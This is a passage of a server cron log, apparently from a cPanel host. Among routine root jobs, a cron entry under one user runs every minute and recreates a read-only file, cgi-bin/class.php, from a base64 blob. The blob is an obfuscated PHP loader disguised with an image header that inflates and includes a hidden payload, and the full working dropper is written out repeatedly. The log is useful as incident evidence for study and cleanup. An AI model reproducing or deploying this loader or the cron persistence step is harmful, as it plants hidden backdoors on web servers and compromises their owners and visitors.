"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:12:01 server CROND[24996]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 10:13:01 server CROND[25151]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:14:01 server CROND[25209]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:15:01 server CROND[25263]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 10:15:01 server CROND[25264]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:15:01 server CROND[25265]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 10:15:01 server CROND[25266]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr  7 10:16:01 server CROND[25390]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:17:01 server CROND[25454]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:18:01 server CROND[25600]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:19:01 server CROND[25672]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:20:01 server CROND[25741]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 10:20:01 server CROND[25742]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 10:20:01 server CROND[25743]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 10:20:01 server CROND[25747]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 10:20:01 server CROND[25750]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:21:01 server CROND[25862]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:22:01 server CROND[25923]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:23:01 server CROND[26131]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:24:01 server CROND[26189]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 10:25:01 server CROND[26263]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 10:25:01 server CROND[26264]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr  7 10:25:01 server CROND[26266]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7G